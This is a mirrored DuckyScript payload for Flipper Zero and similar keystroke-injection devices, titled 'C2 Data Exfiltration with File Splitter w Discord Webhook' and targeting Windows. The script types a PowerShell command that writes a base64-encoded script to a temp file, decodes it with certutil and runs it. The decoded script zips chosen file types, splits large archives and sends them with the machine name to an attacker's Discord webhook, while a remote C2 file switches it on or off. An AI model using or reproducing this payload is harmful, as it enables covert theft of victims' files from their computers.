mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 06:20:12 +00:00
30 lines
15 KiB
Plaintext
30 lines
15 KiB
Plaintext
REM Title: C2 Data Exfiltration with File Splitter w Discord Webhook
|
|
REM Description: Finds all specified filetypes and zips them into a file and sends
|
|
REM to Discord Webhook. If the zip file is too large, split and send in chunks.
|
|
REM Supports 7zip filecombining. C2 is used to IDLE and ACTIVATE and KILL the
|
|
REM payload remotely. C2 File must be hosted on GitHub unless you know how to
|
|
REM modify the source. UberGuidoz and REDD (InfoSecREDD) are NOT responsible for
|
|
REM the misuse of this payload.
|
|
REM AUTHOR: InfoSecREDD
|
|
REM Version: 1.4.2
|
|
REM Category: Exfiltration (REMOTE)
|
|
REM Compatibility: Flipper Zero AND DuckyScript Devices
|
|
REM Target: Windows
|
|
|
|
REM To use on Flipper Zero REM the DUCKY_LANG US from line below
|
|
REM DUCKY_LANG US
|
|
DELAY 2000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell
|
|
ENTER
|
|
DELAY 2000
|
|
REM Put your webhook below.
|
|
STRING $webhook = "DiscordWebhookHere";
|
|
REM C2 file must be hosted at GitHub unless you can edit the file. 1 = ON and 0 = OFF
|
|
STRING $ccontrol = "C2FileHere";
|
|
REM Put it all together now..
|
|
STRING $TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo IyBUaXRsZTogRGF0YSBFeGZpbHRyYXRpb24gLSBEaXNjb3JkDQojIERlc2NyaXB0aW9uOiBEYXRhIEV4ZmlsdHJhdGlvbiB0byBEaXNjb3JkIFdlYmhvb2sgd2l0aCBGaWxlIFNwbGl0dGVyLg0KIyBBVVRIT1I6IEluZm9TZWNSRUREDQojIFZlcnNpb246IDEuNC4yDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEludG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GUgIiRmaWxlbmFtZSIgIiRleFppcCIgPiRudWxsIDI+JjENCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCBUZXN0LVBhdGggIiRleFppcCIgKQ0KICAgICAgew0KICAgICAgICAkY29udGVudF9zaXplTUIgPSAoR2V0LUl0ZW0gLVBhdGggIiRleFppcCIpIHwgJSB7W21hdGhdOjpjZWlsaW5nKCRfLmxlbmd0aCAvIDFNQil9DQogICAgICAgICRjb250ZW50X3NpemVLQiA9IChHZXQtSXRlbSAtUGF0aCAiJGV4WmlwIikgfCAlIHtbbWF0aF06OmNlaWxpbmcoJF8ubGVuZ3RoIC8gMWtCKX0NCiAgICAgICAgaWYgKCAgJGNvbnRlbnRfc2l6ZUtCIC1nZSAxICkNCiAgICAgICAgew0KICAgICAgICAgIENvbXByZXNzLUFyY2hpdmUgLVVwZGF0ZSAiJGV4RmlsZSIgIiRleFppcCIgPiRudWxsIDI+JjENCiAgICAgICAgfQ0KICAgICAgICBpZiAoICRjb250ZW50X3NpemVNQiAtbHQgMjUgLUFuZCAkY29udGVudF9zaXplS0IgLWd0IDIgKQ0KICAgICAgICB7DQogICAgICAgICAgY3VybC5leGUgLUYgInBheWxvYWRfanNvbj17XGAidXNlcm5hbWVcYCI6IFxgIiRlbnY6Y29tcHV0ZXJuYW1lXGAiLCBcYCJjb250ZW50XGAiOiBcYCJcYCJ9IiAtRiAiZmlsZT1AXGAiJGV4WmlwXGAiIiAkd2ViaG9vaw0KICAgICAgICAgIFJlbW92ZS1JdGVtICIkZXhaaXAiID4kbnVsbCAyPiYxDQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICggJGNvbnRlbnRfc2l6ZU1CIC1ndCAyNSApDQogICAgICAgIHsNCiAgICAgICAgICAkc3BsaXRNc2cgPSBAew0KICAgICAgICAgICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICAgICAgICAgJ2NvbnRlbnQnID0gIj4gRVJST1I6IEZpbGUgVE9PIExBUk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RyaW5nDQogICAgaWYgKCAkcnVuQXQgLW5lICRub3cgLW9yICRsb29wIC1sZSAyMyAtQW5kICRsb29wIC1uZSAwIC1PciAkbG9vcCAtZXEgMCApDQogICAgew0KICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkd2ViaG9vayAtTWV0aG9kIFBvc3QgLUJvZHkgJGlkbGUyTXNnDQogICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgIFdyaXRlLUhvc3QgIlNvbWV0aGluZyB3ZW50IHdyb25nLi4iDQogICAgZXhpdCAwDQogIH0NCn0NCmV4aXQgMA== > "$TempFile"; certutil -f -decode "$TempFile" "$File" | out-null; & "$env:TEMP\l.ps1"
|
|
DELAY 1000
|
|
ENTER
|